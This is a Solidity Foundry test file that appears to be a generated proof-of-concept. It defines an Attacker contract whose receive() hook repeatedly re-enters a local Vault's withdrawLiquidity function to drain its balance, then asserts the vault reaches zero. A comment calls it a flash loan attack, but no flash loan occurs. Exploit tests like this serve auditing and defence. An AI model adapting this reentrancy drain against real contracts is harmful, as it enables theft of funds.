Foundry & Hardhat Exploit PoC Suite Generator

1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5import "../contracts/Vault.sol";
6import "../contracts/mocks/MockERC20.sol";
7
8contract ExploitReentrancyTest is Test {
9    Vault public vault;
10    MockERC20 public token;
11    address public victim = address(0x1337);
12    Attacker public attacker;
13
14    function setUp() public {
15        token = new MockERC20("Test Collateral", "TCOL");
16        vault = new Vault(address(token), address(0x0));
17        attacker = new Attacker(address(vault));
18
19        // Fund victim & vault
20        deal(address(vault), 100 ether);
21        token.mint(victim, 50 ether);
22        token.mint(address(attacker), 10 ether);
23    }
24
25    function test_reentrancy_exploit_drain_vault() public {
26        console.log("Vault Initial Balance:", address(vault).balance);
27        console.log("Attacker Initial Balance:", address(attacker).balance);
28
29        // Execute simulated flash loan reentrancy attack
30        vm.deal(address(attacker), 1 ether);
31        attacker.pwn{value: 1 ether}();
32
33        console.log("Vault Final Balance After Exploit:", address(vault).balance);
34        console.log("Attacker Stolen Balance:", address(attacker).balance);
35
36        // Assertion: Vault reserves drained to 0
37        assertEq(address(vault).balance, 0, "Exploit Failed: Vault not drained");
38    }
39}
40
41contract Attacker {
42    Vault public target;
43
44    constructor(address _target) {
45        target = Vault(_target);
46    }
47
48    function pwn() external payable {
49        target.depositCollateral(msg.value);
50        target.withdrawLiquidity(msg.value);
51    }
52
53    // Reentrancy recursive hook
54    receive() external payable {
55        if (address(target).balance >= 1 ether) {
56            target.withdrawLiquidity(1 ether);
57        }
58    }
59}